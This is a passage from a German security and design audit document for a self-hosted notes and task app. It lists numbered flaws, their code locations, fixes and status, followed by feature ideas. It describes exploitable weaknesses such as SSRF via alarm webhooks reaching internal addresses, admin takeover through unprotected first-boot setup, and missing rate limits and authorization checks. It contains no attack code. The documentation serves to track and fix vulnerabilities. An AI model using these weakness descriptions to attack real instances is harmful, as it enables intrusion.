- **Status: Teilweise behoben.** Serverseitige Sitzungen (`sessions`, [sessions.go](../internal/api/sessions.go)): Jedes Token gehört zu einer Sitzung, die einzeln beendet werden kann und nach 30 Tagen ohne Nutzung endet; das Token wird täglich über `X-Session-Token` erneuert. Profil → „Aktive Sitzungen“ zeigt Gerät, IP und letzte Nutzung mit Einzel-Abmelden. Ein gestohlenes Token lässt sich damit gezielt entwerten. Das Token liegt weiter im `localStorage`; HttpOnly-Cookies sind bewusst zurückgestellt (CSP aus FLAW-29 und FLAW-28 schließen den bekannten Weg). Tests: `TestSessionsListEndAndLogout`, `TestSessionTokenRenewedWhenOld`.
### FLAW-05: SSRF über Alarm-URLs
- **Status: Behoben.** [netguard.go](../internal/api/netguard.go): URLs werden beim Speichern und vor jedem Versand geprüft (https Pflicht, Discord nur `discord.com/api/webhooks/`). Der HTTP-Client löst den Host selbst auf und verbindet nur zu erlaubten IPs: localhost, Link-Local/Cloud-Metadaten sind immer gesperrt, Heimnetz-Bereiche (RFC 1918, ULA, CGNAT/Tailscale) und http nur mit dem Admin-Schalter „Alarm-Webhooks ins lokale Netz erlauben“. Keine Umgebungs-Proxys, höchstens 3 Weiterleitungen.
- **Fundstellen:** `handleUpdateUserSettings` (keine Validierung), `sendDiscordNotification`, `sendCustomWebhookNotification`.
- **Problem:** Jeder Nutzer kann beliebige URLs hinterlegen. Der Server sendet POST-Anfragen dorthin, auch an interne Adressen (`http://169.254.169.254`, Docker-Netz, `localhost`). Über `handleTestUserAlarm` lässt sich das sofort auslösen.
- **Maßnahme:** Nur `https`, Discord-Host prüfen, private/Loopback-Adressen beim Verbinden sperren.
### FLAW-32: Nur 40 Bit Zufall in IDs
- **Fundstelle:** `NewID` in [domain/models.go](../internal/domain/models.go) (5 Zufallsbytes); Einladungscodes `INV-…` in `CreateUserInvite` ([users.go](../internal/storage/users.go)) leiten sich davon ab.
- **Problem:** Bei 40 Bit liegt die Wahrscheinlichkeit einer Kollision ab etwa einer Million Datensätze einer Tabelle bei rund 40 % (Geburtstagsproblem); eine Kollision lässt das Anlegen fehlschlagen oder überschreibt bei Upserts. Einladungscodes sind ohne Rate-Limit (FLAW-39) online rate-, aber nicht praktisch erratbar; 40 Bit sind für ein Geheimnis trotzdem zu wenig.
- **Maßnahme:** `NewID` auf 12 Bytes (96 Bit) anheben (Spalten sind `TEXT`, alte IDs bleiben gültig); Einladungscodes mit eigenen 16 Zufallsbytes.
- **Status: Behoben.** `NewID` nutzt 12 Zufallsbytes, alte IDs bleiben gültig. Einladungscodes haben eigene 100 Bit in Base32 (`INV-ABCDE-FGHIJ-KLMNO-PQRST`, `newInviteCode`); bereits ausgegebene Codes funktionieren weiter.
### FLAW-06: Editor kann Aufgabenliste weiterteilen
- **Status: Behoben.** Das Feld `task_lists.team_id` ist entfernt; Freigaben gibt es nur noch über `task_list_shares`, und die legt nur der Eigentümer an.
- **Fundstelle:** `Store.UpdateTaskList` (`teamID`-Zweig ruft `AddTaskListShare`); `handleUpdateTaskList` prüft nur, dass der Nutzer **kein** Leser ist.
- **Problem:** `POST /task-lists/{id}/shares` ist Eigentümern vorbehalten. Über `PUT /task-lists/{id}` mit `teamId` kann aber jeder Editor die Liste einer weiteren Gruppe zuweisen (mit Schreibrecht) und die Zuweisung der bisherigen Gruppe aufheben.
- **Maßnahme:** `teamId`-Änderungen nur für den Eigentümer; das Legacy-Feld `task_lists.team_id` zugunsten von `task_list_shares` abschaffen.
### FLAW-33: Öffentliche Demo als Absender missbrauchbar
- **Fundstelle:** Admin-Routen in [server.go](../internal/api/server.go); Demo-Konto `admin/admin` ([users.go](../internal/storage/users.go)).
- **Problem:** Auf einer öffentlichen Demo meldet sich jeder als Admin an. Er kann „Alarm-Webhooks ins lokale Netz erlauben“ einschalten und Alarme an Adressen im Netz des Demo-Hosts schicken lassen (SSRF), SMTP-Zugangsdaten lesen und ändern, Organisationen und Konten umbauen. Der 20-Minuten-Reset setzt das zurück, aber nicht rechtzeitig.
- **Ausgehende Anfragen:** Auch ohne Admin-Rechte kann jeder Demo-Besucher eine Discord- oder eigene Webhook-URL hinterlegen und über „Alarm testen“ beliebig oft Anfragen an fremde öffentliche Adressen schicken lassen; Fälligkeits-Alarme tun dasselbe zeitgesteuert. Die Demo wird so zum Absender für Spam (z. B. in fremde Discord-Kanäle) oder für Anfragen an Dritte, und zwar von der IP-Adresse des Demo-Servers. Ist in der Demo SMTP eingerichtet, gilt das ebenso für Mails an beliebige Adressen.
- **Maßnahme:** Im Demo-Modus alle ausgehenden Kanäle aus: keine Alarm-Webhooks, kein Discord, keine Alarm- und Testmails, „Alarm testen“ und der SMTP-Test antworten mit einem Hinweis; die Oberfläche zeigt „In der Demo deaktiviert“. Server-Einstellungen (SMTP, Webhook-Freigabe, Backups) schreibgeschützt. Eingehende Webhooks (API-Keys) bleiben erlaubt, sie schreiben nur in die Demo-Datenbank.
- **Status: Behoben.** Im Demo-Modus verweigern die Sender für Mail, Discord und Webhooks (`errDemoOutgoing`), der Alarm-Ticker läuft nicht. `notInDemo` ([demo.go](../internal/api/demo.go)) beantwortet mit `403` „In der Demo deaktiviert“: Test-Alarm, SMTP-Test, Server-Einstellungen speichern, Backup starten, Konten anlegen/ändern/löschen, Passwort-Reset durch Admins, „Alle Sitzungen beenden“, einzelne Geräte abmelden, eigenes Konto löschen; Passwort und E-Mail sind im Profil gesperrt. Weil sich alle Besucher die Demo-Konten teilen, zeigt die Sitzungsliste nur das eigene Gerät. Die Oberfläche zeigt die Hinweise und deaktiviert die Schalter. Test: `TestDemoSendsNothingAndKeepsAccounts`.
### FLAW-07: API-Key-Scopes ohne Wirkung
- **Teilweise behoben:** API-Keys dürfen nur noch `POST /inbox` und `POST /webhooks/ingest` nutzen (`apiKeyAllowed` in `server.go`), alles andere gibt `403`. Auswählbare Scopes (Triage, Aufgaben, Listen) stehen noch aus.
- **Fundstellen:** Tabelle `api_keys.scopes` (Standard `ingest,read`), `authMiddleware`.
- **Problem:** Ein Key mit Präfix `mindsift_sec_` authentifiziert als der Benutzer, mit allen Rechten: alle `/api/v1`-Routen, bei Admins auch `/admin/*`, außerdem das Anlegen weiterer Keys. Für Webhooks (nur Aufgaben anlegen) ist das überdimensioniert.
- **Maßnahme:** Scopes auswerten; Keys standardmäßig nur auf `/inbox` und `/webhooks/ingest` beschränken.
### FLAW-34: SMTP-Passwort im Klartext
- **Fundstelle:** `handleAdminGetSettings` ([handlers_admin.go](../internal/api/handlers_admin.go)) liefert `smtpPass` aus; Speicherung in `system_settings`.
- **Problem:** Das Passwort erscheint in der Admin-Oberfläche, im Browser-Cache der Antwort (Offline-Lese-Cache) und in jedem Datenbank-Backup.
- **Maßnahme:** Nie zurückliefern (nur „gesetzt“ anzeigen, leer = unverändert); optional per `SMTP_PASS`-Umgebungsvariable statt Datenbank.
- **Status: Teilweise behoben.** `GET`/`PUT /admin/settings` liefern `smtpPass` immer leer und `smtpPassSet`; ein leeres Feld behält das gespeicherte Passwort, ohne SMTP-Benutzer wird es entfernt. In der Datenbank und ihren Abzügen steht es weiter im Klartext (der Server braucht es zum Anmelden); wer das nicht will, setzt `SMTP_HOST`/`SMTP_PASS` per Umgebung und lässt die Felder im Admin-UI leer. Test: `TestSMTPPasswordNeverReturned`.
### FLAW-08: Webhook-Ingest umgeht Sitzungsprüfung
- **Status: Behoben.** Middleware und Webhook-Ingest nutzen dieselbe Prüfung (`authenticateToken`): Sperrliste, `token_version`, aktives Konto. Test: `TestAPIKeysOnlyDeliverData`.
- **Fundstelle:** `handleWebhookIngest`, JWT-Zweig.
- **Problem:** Das Token wird nur kryptografisch validiert. `IsTokenRevoked`, `token_version` und `is_active` werden nicht geprüft; ein ausgeloggtes oder deaktiviertes Konto kann weiter Aufgaben anlegen (bis Token-Ablauf nach 30 Tagen).
- **Maßnahme:** Dieselbe Prüfkette wie in `authMiddleware` verwenden (gemeinsame Funktion statt Kopien; siehe auch `authenticateUserFromReq`).
### FLAW-35: `?token=` beim Webhook-Ingest
- **Fundstelle:** `handleWebhookIngest` in [handlers_integrations.go](../internal/api/handlers_integrations.go).
- **Problem:** Neben `X-API-Key` wird das Token weiterhin aus der URL gelesen, auch ein Sitzungs-Token. Es landet in Proxy- und Zugriffslogs; eine Sitzung in der URL ist ein vollwertiges Login.
- **Maßnahme:** In der URL nur noch API-Keys annehmen (für Geräte, die keine Header setzen können), keine Sitzungs-Tokens; Doku weist bereits auf den Header hin.
- **Status: Behoben.** `?token=` nimmt nur noch `mindsift_sec_…` an, sonst `401`. Test: `TestWebhookTokenInURLOnlyAPIKey`.
### FLAW-09: Kein Schutz gegen Brute-Force
- **Fundstellen:** `handleLogin`, `handleRegister`, `handleFirstBootSetup`.
- **Problem:** Weder Rate-Limit noch Sperre; `middleware.RealIP` vertraut `X-Forwarded-For` ungeprüft. Mindestpasswortlänge ist 4 Zeichen. Der Login-Pfad ist so über das Internet raten- und durchprobierbar.
- **Maßnahme:** Rate-Limit je IP und Konto, längeres Mindestpasswort.
### FLAW-36: Kein allgemeines Größenlimit für Anfragen
- **Fundstelle:** 46 Stellen `json.NewDecoder(r.Body)` ohne `http.MaxBytesReader` in `internal/api/` (Ausnahmen: Import, Themes, Sync, Passwort-Reset).
- **Problem:** Ein angemeldeter Nutzer oder ein API-Key kann sehr große Körper schicken und Speicher binden.
- **Maßnahme:** Middleware mit Standardlimit (z. B. 2 MB), größere Grenzen nur für Import/Sync.
- **Status: Behoben.** `bodyLimit` ([bodylimit.go](../internal/api/bodylimit.go)) begrenzt jeden Anfragekörper auf 2 MB; Notiz-Sync 8 MB, Importe 101 MB. Test: `TestRequestBodyLimited`.
### FLAW-10: `sharing_mode` wird nicht durchgesetzt
- **Status: Behoben.** Modi `private`/`organizations`/`open`, zentral durchgesetzt über `Store.CanSee`/`CanShareWith` in Verzeichnis, allen Freigaben und Gruppen; Rechte werden bei Sichtbarkeitsverlust bereinigt ([sharing-and-permissions.md](sharing-and-permissions.md)). Test: `internal/storage/visibility_test.go`.
- **Fundstellen:** `Store.GetDiscoverableUsers`, `Store.GetCollaborators`; Share-Handler in `server.go`.
- **Problem:**
1. Der Modus beeinflusst nur `GetDiscoverableUsers`. In `teams_only` liefert die Funktion trotzdem **alle** Benutzer (`if … mode == "open" || mode == "teams_only" { return GetAllUsers() }`).
2. `GET /collaborators` ignoriert den Modus komplett und liefert alle aktiven Konten mit E-Mail-Adresse.
3. Keine der Share-Funktionen prüft den Modus. `strict_private` und `teams_only` verhindern Freigaben nicht, wenn man die Ziel-ID kennt.
- **Maßnahme:** Eine zentrale Funktion `canShareWith(owner, target)` und in allen Share-Handlern verwenden; Verzeichnisse darauf einschränken.
### FLAW-37: Server-Backups überleben das gelöschte Konto
- **Fundstelle:** `DeleteOwnAccount` / `handleAdminDeleteUser` und `backups/users/<id>/` ([backups.go](../internal/api/backups.go)).
- **Problem:** Nach dem Löschen eines Kontos bleiben seine Backups bis zum Ablauf der Aufbewahrung liegen (Datenschutz, „Recht auf Löschung“). Datenbank-Abzüge enthalten das Konto ebenfalls bis zum Ablauf.
- **Maßnahme:** Beim Löschen eines Kontos `backups/users/<id>/` mitlöschen; Aufbewahrung der DB-Abzüge in der Datenschutzerklärung nennen.
- **Status: Behoben.** Konto löschen (selbst oder durch Admins) entfernt `backups/users/<id>/` (`removeUserBackups`, nur dieser eine Ordner). Die Datenbank-Abzüge enthalten das Konto bis zum Ablauf der Aufbewahrung; das gehört in die Datenschutzerklärung der jeweiligen Instanz. Test: `TestDeletedAccountLosesServerBackups`.
### FLAW-11: Block-Upsert prüft das Dokument nicht
- **Status: Behoben.** Alle Blockänderungen laufen über `Store.applyDocChange`: Einfügen mit einer Block-ID aus einer anderen Notiz wird abgelehnt (`exists`), und der Upsert ändert nur Zeilen derselben Notiz (`WHERE blocks.document_id = excluded.document_id`). Test: `TestInsertCannotReuseBlockIDOfAnotherNote`.
- **Fundstelle:** `Store.PatchDocumentBlocks`, `INSERT INTO blocks … ON CONFLICT(id) DO UPDATE`.
- **Problem:** `blocks.id` ist global eindeutig. Existiert die ID bereits in einem **anderen** Dokument, überschreibt der Konflikt-Zweig dessen Inhalt, ohne `document_id` zu prüfen. Voraussetzung: Schreibrecht im eigenen Dokument und Kenntnis einer fremden Block-ID.
- **Maßnahme:** `DO UPDATE … WHERE blocks.document_id = excluded.document_id`; fremde IDs ablehnen.
### FLAW-38: Große Downloads brechen nach 30 s ab
- **Fundstelle:** `WriteTimeout: 30 * time.Second` in [cmd/server/main.go](../cmd/server/main.go); betroffen: Markdown-Archiv, ZIP-Backup, Datenbank-Abzug (`http.ServeFile`).
- **Problem:** Bei langsamer Verbindung oder großem Abzug endet der Download unvollständig (Streams heben die Grenze bereits pro Antwort auf, Downloads nicht).
- **Maßnahme:** Für Download-Handler die Schreibfrist per `http.ResponseController` verlängern, wie bei SSE.
- **Status: Behoben.** `allowLongTransfer` gibt Backup-Downloads, Exporten (JSON/ZIP, Markdown-Archiv) und Import-Uploads 30 Minuten Lese- und Schreibzeit; vorher brachen auch große Importe nach 15 s Lesezeit ab.
### FLAW-12: Alarm-Logik
- **Teilweise behoben:** Fälligkeiten haben eine optionale Uhrzeit; der Alarm kommt zur Uhrzeit (ganztägig 9:00) minus `notify_before_minutes`, in der Zeitzone `TZ` (Standard Europe/Berlin, Zeitzonendaten eingebettet). Neue Fälligkeit oder Wiederöffnen setzt `alarm_sent` zurück. Tests: `internal/domain/due_test.go`, `internal/api/alarm_test.go`, `TestAlarmResetsOnNewDueDateOrReopen`. Offen bleibt der letzte Punkt (kein Backoff).
- **Fundstellen:** `startAlarmTicker`, `GetDueTasksForAlarm`, `UpdateThoughtDetails`, `UserSettingsView`.
- **Probleme:**
- `notify_before_minutes` (Einstellungen: „15 Minuten vorher“ usw.) wird nirgends gelesen. Fälligkeiten haben nur ein Datum (`YYYY-MM-DD`), eine Vorlaufzeit ist damit nicht abbildbar.
- Verglichen wird mit `time.Now()` in der Zeitzone des Containers (ohne `TZ` also UTC).
- `alarm_sent` wird nie zurückgesetzt. Wird die Fälligkeit nach einem Alarm verschoben, gibt es keinen neuen.
- Schlagen alle Kanäle fehl, wird jede Minute erneut gesendet (kein Backoff, keine Dead-Letter-Queue).
- **Maßnahme:** Fälligkeit mit Uhrzeit speichern, `alarm_sent` bei Änderung von `due_date` zurücksetzen, Wiederholungen begrenzen.
### FLAW-39: Kein Rate-Limit außerhalb des Logins
- **Fundstelle:** `handleRegister`, `handleForgotPassword` (Sperre nur je Konto), Einladungscode-Prüfung.
- **Problem:** Massenhaftes Anlegen von Konten (bei offener Registrierung), Durchprobieren von Einladungscodes und Mail-Flut über „Passwort vergessen“ an viele Adressen sind nicht gebremst.
- **Maßnahme:** Den vorhandenen `loginGuard` um Töpfe pro Adresse für diese Endpunkte erweitern.
- **Status: Behoben.** `loginGuard.throttle` zählt jede Anfrage pro Adresse: Registrierung (und damit Einladungscode-Versuche) 20, „Passwort vergessen“ 10 je 15 Minuten, danach `429` mit `Retry-After`. Gilt nicht für Anfragen ohne bekannte Client-Adresse; `LOGIN_PROTECTION=false` schaltet es mit ab. Tests: `TestRegisterThrottledPerAddress`, `TestThrottleWindowAndSwitch`.
### FLAW-13: Migrationen
- **Teilweise behoben:** Das Schema hat eine Version (`PRAGMA user_version`, `schemaVersion` in `sqlite.go`), auf die künftige Migrationen aufsetzen können. Die übrigen Punkte unten gelten weiter.
- **Fundstellen:** `Store.migrate` in [`internal/storage/sqlite.go`](../internal/storage/sqlite.go), [`migrations/001_init.sql`](../migrations/001_init.sql).
- **Probleme:**
- Es gibt keine Versionstabelle. Alle `ALTER TABLE`-Anweisungen laufen bei jedem Start erneut; Fehler werden pauschal ignoriert (`_, _ = s.db.Exec(q)`), echte Fehler fallen nicht auf.
- Mehrere `UPDATE`/`DROP TABLE`-Bereinigungen laufen bei jedem Start.
- `migrations/001_init.sql` wird nur in das Image kopiert, aber nirgends gelesen, und ist gegenüber dem tatsächlichen Schema veraltet.
- **Maßnahme:** `schema_migrations`-Tabelle mit nummerierten, einmalig ausgeführten Schritten; die SQL-Datei entweder einbetten oder entfernen.
### FLAW-40: Einladungscode doppelt einlösbar
- **Fundstelle:** `handleRegister`: `GetUserInviteByCode` → Konto anlegen → `MarkUserInviteUsed`.
- **Problem:** Zwei gleichzeitige Registrierungen mit demselben Code kommen beide durch.
- **Maßnahme:** Code in einer Transaktion bzw. per `UPDATE … WHERE used_by = ''` beanspruchen, bevor das Konto entsteht.
- **Status: Behoben.** `ClaimUserInvite` beansprucht den Code per `UPDATE … WHERE used_by = ''` vor dem Anlegen des Kontos; scheitert das Konto (Adresse vergeben), gibt `ReleaseUserInvite` ihn wieder frei. Tests: `TestInviteCodeRedeemedOnlyOnce`, `TestInviteReleasedWhenAccountFails`.
### FLAW-14: Verschluckte Fehler
- **Fundstellen:** u. a. `PatchDocumentBlocks` (Upserts/Deletes), `AddTaskListShare`, `RemoveTaskListShare`, viele `_, _ = s.db.Exec`.
- **Problem:** Scheitert ein Schreibzugriff (z. B. `SQLITE_BUSY`), antwortet die API trotzdem mit Erfolg und broadcastet den Stand, der nie gespeichert wurde. Fehler lassen sich nur schwer nachvollziehen.
- **Beispiel (behoben):** Das Lösen der Verknüpfung zwischen Notiz-Block und Aufgabe („Verknüpfung aufheben“, Löschen eines verknüpften Blocks) schrieb in nicht existierende Spalten `thoughts.doc_id`/`block_id`. Der Fehler wurde verschluckt, die Funktion war nie wirksam. Korrigiert; im neuen Sync-Weg gleicht `ReconcileDocTaskLinks` Häkchen und gelöschte Blöcke ab.
- **Maßnahme:** Mehrstufige Änderungen in Transaktionen bündeln und Fehler zurückgeben.
### FLAW-15: WriteTimeout und SSE
- **Status: Behoben.** `ServeSSE` hebt die Schreibfrist für die eigene Antwort auf (`http.ResponseController.SetWriteDeadline`). Test mit 1-s-Timeout: `TestSSEStreamOutlivesWriteTimeout`. Der Test hat den Abbruch im alten Code bestätigt.
- **Fundstelle:** [`cmd/server/main.go`](../cmd/server/main.go) `WriteTimeout: 30 * time.Second`.
- **Problem:** Go beendet nach diesem Zeitraum das Schreiben der Antwort. Für den SSE-Fallback (`ServeSSE`) bedeutet das voraussichtlich einen Verbindungsabbruch alle 30 s. WebSockets sind durch Hijacking nicht betroffen. Der Client verbindet sich neu, daher fällt es kaum auf.
- **Maßnahme:** Im SSE-Handler `http.ResponseController.SetWriteDeadline(time.Time{})` setzen oder `WriteTimeout` für diese Route aufheben.
### FLAW-16: Ersteinrichtung und Demo-Modus
- **Fundstellen:** `handleFirstBootSetup`, `Store.EnsureDemoAccounts`, `config.Load` (`MINDA_DEMO`, `MINDSIFT_DEMO`, `DEMO_MODE`).
- **Probleme:** Solange kein Konto existiert, kann jeder `POST /auth/setup` aufrufen und wird Administrator. Mit gesetztem Demo-Flag entstehen Konten `admin/admin` und `user/user`; versehentlich auf einer öffentlichen Instanz aktiv wäre das eine Komplettübernahme.
- **Maßnahme:** Setup per einmaligem Token aus dem Server-Log absichern; Demo-Modus nur zusammen mit expliziter Warnung/Bestätigung.
### FLAW-17: Schreibgeschützte Dokumentfreigaben
- **Status: Behoben.** Zwangsmigration entfernt, Backend prüft Bearbeiter-Rechte (`DocRole`, `/docs/{id}/sync`), der Editor speichert über die Sync-Engine, und der Freigabe-Dialog bietet „Bearbeiten“ an. Browser-Test: `e2e/share.e2e.mjs`.
- **Fundstellen:** Migration in `Store.migrate` (`UPDATE doc_shares SET permission = 'read' …`, ebenso `doc_team_shares`, `workspace_folder_shares`), `PatchDocumentBlocks`/`UpdateDocument` (nur Eigentümer).
- **Hinweis:** Das ist offenbar gewollt: Nur der Eigentümer schreibt in ein Dokument, Empfänger lesen. Es gibt daher **kein** kollaboratives Bearbeiten. Das Schema (`CHECK(permission IN ('read','write'))`), die Zweige für `write` im Code und frühere Dokumentation suggerieren etwas anderes. Es gibt weder Sperren noch Konfliktauflösung, noch Cursor-Presence.
- **Maßnahme:** Entweder Schreibfreigaben mit Konfliktbehandlung ergänzen oder den toten Code und das Schema bereinigen.
### FLAW-18: Suche
- **Status: Behoben.** SQLite FTS5-Volltexttabellen mit BM25-Ranking (`thoughts_fts`, `documents_fts`, `list_items_fts`), Trigger zur automatischen Synchronisation und initialem Backfill beim Start. Sicheres Query-Escaping, Präfixsuche. Strikte Berechtigungsprüfung über `accessibleTaskListIDsQuery`, `DocRole` (eigene, geteilte Notizen, über Ordner gemountete Notizen) und zugängliche Listen. Rückwärtskompatible API-Antwort mit Snippets (`<mark>`) und Frontend-Integration über `CommandPalette` (`Cmd+K` / `Ctrl+K` / `/`).
- **Fundstellen:** `internal/storage/search.go`, `internal/api/server.go`, `frontend/src/components/CommandPalette.tsx`.
### FLAW-19: Geringe Frontend-Testabdeckung
- **Stand:** Vitest mit jsdom und Testing Library ist eingerichtet (`npm run test:run`) und läuft beim Image-Build. Getestet sind bisher nur Outliner-Funktionen (Backspace-Zusammenführen, Cursor-Position beim Klicken).
- **Problem:** Aufgaben, Listen, Freigabe-Dialoge und Berechtigungsanzeigen sind ungetestet. `"lint"` in [`frontend/package.json`](../frontend/package.json) ist weiterhin ein Platzhalter (`echo`).
- **Maßnahme:** Tests für kritische Pfade ergänzen, ESLint als echtes `lint`-Skript.
### FLAW-20: Dateigröße und Duplikate
- **Teilweise behoben:** `sqlite.go` und `server.go` sind nach Bereichen in eigene Dateien aufgeteilt (reine Verschiebung, Verhalten unverändert; siehe [architecture.md](architecture.md#verzeichnisse)). Offen: große Frontend-Dateien und die doppelte Zugriffsabfrage.
- `internal/storage/sqlite.go` (≈ 5.600 Zeilen), `internal/api/server.go` (≈ 3.000), `WorkspaceView.tsx` (≈ 2.300), `TasksView.tsx` (≈ 2.500), `api.ts` (≈ 1.500).
- Die Zugriffsabfrage für Aufgabenlisten steht dreimal fast identisch im Code (`accessibleTaskListIDsQuery`, `GetTaskLists`, `GetTaskListByID`). Dokumentzugriff ist ähnlich verteilt. Änderungen an Berechtigungen müssen an mehreren Stellen erfolgen und werden leicht vergessen.
- **Maßnahme:** In Teilmodule zerlegen (Auth, Dokumente, Aufgaben, Listen, Teams), Zugriffsprüfung zentralisieren.
### FLAW-21: Lizenzdatei fehlt
- README und Badge nennen die MIT-Lizenz und verlinken auf `LICENSE`; die Datei existiert nicht im Repository.
### FLAW-22: Netzwerk-Details
- `authenticateUserFromReq` akzeptiert das Token als `?token=` (nötig für `WebSocket`/`EventSource`, die keine Header setzen). Tokens landen dadurch in Proxy- und Zugriffslogs.
- `AllowedOrigins: ["*"]` (Auth läuft über `Authorization`-Header, nicht über Cookies, das Risiko ist daher begrenzt) und `CheckOrigin` liefert immer `true`.
- Ein einmal verbundener WebSocket/SSE-Stream wird bei Logout oder Token-Widerruf nicht getrennt.
- **Maßnahme:** Kurzlebiges, einmaliges Stream-Ticket statt Langzeit-JWT in der URL; Origin gegen `BASE_URL` prüfen.
### FLAW-23: SQLite-Schreibengpass
- Eine SQLite-Datei (WAL, `busy_timeout`, bis zu 8 offene Verbindungen) erlaubt nur einen gleichzeitigen Schreiber. Für Familien und kleine Teams unkritisch; bei vielen aktiven Editoren sind `SQLITE_BUSY`-Fehler möglich, die wegen FLAW-14 stumm bleiben.
### FLAW-24: Organisations-Endpunkte ohne Berechtigungsprüfung
- **Status: Behoben.** Die alten `/organizations`-Endpunkte sind entfernt; Organisationen verwaltet nur der Server-Admin über `/admin/organizations`.
- **Fundstellen:** `handleDeleteOrganization`, `handleGetOrgTeams`, `handleCreateOrgTeam` (und `Store.DeleteOrganization`) in `server.go` bzw. `sqlite.go`.
- **Problem:** Diese Handler prüfen weder Eigentümer noch Mitgliedschaft. Jeder angemeldete Nutzer kann mit bekannter ID eine fremde Organisation löschen, deren Gruppen auflisten oder dort Gruppen anlegen. Gruppenbezogene Endpunkte (`/teams/{id}…`) prüfen dagegen korrekt auf Gruppen-Admin. Das Datenmodell kennt Organisationen nur noch rudimentär; im UI werden Gruppen direkt über `POST /teams` angelegt (`orgId` Standard `default`).
- **Maßnahme:** Organisationen entweder konsequent absichern (Eigentümer/Server-Admin) oder entfernen.
### FLAW-25: Teilweise ausgeführte Struktur-Aktionen an gesperrten Bullets
- **Status: Behoben.** Fremd gesperrte Bullets sind im Editor schreibgeschützt und zeigen, wer sie bearbeitet. Löschen, Zusammenführen, Ein-/Ausrücken und Ziehen werden nicht gestartet, wenn ein beteiligter Bullet (oder einer im Ast) gesperrt ist; stattdessen erscheint ein Hinweis. Ebenso für „Übernehmen“/„Verwerfen“ und Rückgängig. Browser-Test: `e2e/lock.e2e.mjs`.
- **Fundstellen:** `handleMergeWithPrevious` und `handleIndentBlock` in [`OutlinerTree.tsx`](../frontend/src/features/workspace/OutlinerTree.tsx); Sperrregeln in `internal/collab` (Verschieben/Löschen gesperrter Blöcke wird abgelehnt).
- **Problem:** Eine Editor-Aktion besteht oft aus mehreren Operationen. Ist einer der beteiligten Bullets von jemand anderem gesperrt, lehnt der Server nur diese Operation ab. Beispiel aus dem Browser-Test: Backspace am Zeilenanfang hängt den Text oben an (angewendet), das Löschen des unteren Bullets wird abgelehnt – der Text steht dann doppelt da. Einrücken eines fremd gesperrten Bullets wird ohne Hinweis zurückgenommen. Es geht kein Text verloren.
- **Maßnahme (Phase 3):** Gesperrte Bullets im Editor anzeigen und Struktur-Aktionen, die sie berühren, gar nicht erst ausführen.
### FLAW-26: Fokus-Verzögerung nach Enter
- **Status: Behoben.** Neu eingehängte Bullets bekommen den Fokus sofort beim Einhängen. Browser-Test: „Sofort nach Enter Getipptes landet im neuen Bullet“.
- **Fundstelle:** `focusBlockInput` in `OutlinerTree.tsx` setzt den Fokus erst im nächsten Animation-Frame.
- **Problem:** Zeichen, die innerhalb dieses Frames getippt werden (automatisiert oder sehr schnelles Tippen), landen noch im vorherigen Bullet. Bei fremd gesperrtem Bullet entsteht daraus eine Konfliktkopie.
- **Maßnahme:** Fokus nach dem Anlegen synchron setzen (`useLayoutEffect`).
### FLAW-27: Grenzen nach der Verdichtung
- **Status: Bekannt, bewusst so.**
- **Fundstellen:** `CompactDocs` in [`internal/storage/docsync.go`](../internal/storage/docsync.go), `reviveAsNewBlock` in [`internal/collab/ops.go`](../internal/collab/ops.go).
- **Verhalten:** Nach 30 Tagen sind gelöschte Blöcke endgültig weg. Rückgängig für ein so altes Löschen ist nicht mehr möglich (Hinweis im Editor). Text, der wochenlang offline in einem inzwischen endgültig gelöschten Block getippt wurde, kommt als neuer Block am Ende der Notiz zurück, nicht an der alten Stelle. Wer eine Operation erst nach mehr als 90 Tagen erneut sendet (Antwort ging verloren, Gerät so lange offline), wird nicht mehr als Wiederholung erkannt; Textänderungen erzeugen dann höchstens eine Konfliktkopie, kein stilles Überschreiben.
### FLAW-41: Sehr große Frontend-Dateien
- **Fundstelle:** `WorkspaceView.tsx` (≈ 2.300 Zeilen), `TasksView.tsx` (≈ 2.500), `lib/api.ts` (≈ 1.700).
- **Problem:** Schwer zu überblicken, Änderungen kollidieren leicht, Tests decken nur Teile ab.
- **Maßnahme:** In Unterkomponenten (Seitenleiste, Ordnerbaum, Tags, To-Do-Rollup; Liste, Kanban, Filter) und `api.ts` in REST-Client und Realtime-Transport teilen.
---
## Aus der früheren Fassung entfernt
## Ideen für Funktionen
Die frühere `flaws.md` führte als „gelöst“, was im Code nicht existiert: In-Memory-DocRooms, `clientId`-Echo-Schutz, Cursor-Presence, 1,5-s-Debounce-Flush, `internal/ws/docroom.go`, `frontend/src/lib/useDocumentSync.ts` und Yjs/CRDT. Der Code enthält nur noch `internal/ws/hub.go` (Räume, Benutzer-Kanäle, SSE-Fallback). Die CRDT-Tabellen werden beim Start gelöscht (`DROP TABLE document_crdt_*`). Dokumente werden per REST gespeichert (`PATCH /documents/{id}/blocks`) und als `DOC_BLOCKS_PATCHED` verteilt. Die frühere Aussage zur Token-Versionierung (`token_version`, `revoked_tokens`) trifft dagegen zu und ist in [sharing-and-permissions.md](sharing-and-permissions.md) und [architecture.md](architecture.md) beschrieben.
### Erfassen
- **Teilen-Ziel der App** (`share_target` im Manifest): Links und Texte aus anderen Apps auf dem Handy direkt in die Inbox teilen.
- **Natürliche Zeitangaben** beim Erfassen: „Zahnarzt morgen 14 Uhr“ setzt die Fälligkeit mit Uhrzeit.
- **Mail an die Inbox:** eine persönliche Adresse, deren Mails als Gedanken landen.
### Aufgaben & Erinnerungen
- **Web-Push-Benachrichtigungen** für Alarme direkt auf Handy und Desktop, ohne Discord oder E-Mail.
- **Alarme auch für Zugewiesene**, nicht nur für den Eigentümer der Aufgabe.
- **Zeitzone pro Benutzer** statt einer Server-Zeitzone für alle.
- **Kalenderansicht und iCal-Abo** der fälligen Aufgaben (z. B. in Google-/Apple-Kalender).
- **Flexiblere Wiederholungen:** „jeden 2. Dienstag“, „am letzten Werktag“, „3 Tage nach Erledigen“.
### Notizen
- **Versionsverlauf ansehen und zurückholen:** das Operations-Log (`doc_ops`) ist vorhanden, eine Ansicht fehlt.
- **Bilder und Anhänge** in Notizen.
- **Vorlagen und Tagesnotiz** (z. B. „Wochenrückblick“, „Heute“).
- **Öffentlicher Lese-Link** für einzelne Notizen, mit Ablaufdatum.
- **Verlinkungs-Graph** auf Basis der Backlinks.
### Listen
- **Sortierung nach Laden:** Kategorien in der Reihenfolge des eigenen Supermarkts.
- **Häufige Einträge vorschlagen** beim Tippen (aus erledigten Einträgen).
### Konto & Sicherheit
- **Zwei-Faktor-Anmeldung** (TOTP) oder **Passkeys**.
- **Anmeldung über OIDC** (Authelia, Authentik, Keycloak) für Homelab-Setups.
- **Admin-Protokoll:** wer hat wann Konten, Rollen und Einstellungen geändert.
### Betrieb
